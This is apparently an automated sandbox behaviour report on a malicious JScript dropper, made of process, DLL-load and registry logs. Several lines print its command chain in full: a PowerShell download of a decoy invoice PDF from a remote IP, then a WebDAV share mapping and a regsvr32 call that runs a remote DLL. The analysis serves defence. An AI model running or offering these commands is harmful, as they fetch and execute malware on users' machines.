Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1972511502582515381.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\227482834732572.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2264 --field-trial-handle=1528,i,12254396547389125346,4027374144643882366,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\227482834732572.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2264 --field-trial-handle=1528,i,12254396547389125346,4027374144643882366,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3734.js.csv");ITextStream.WriteLine(" entry:7720 f:ebpzekuj");ITextStream.WriteLine(" exec:2 f:ebpzekuj");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
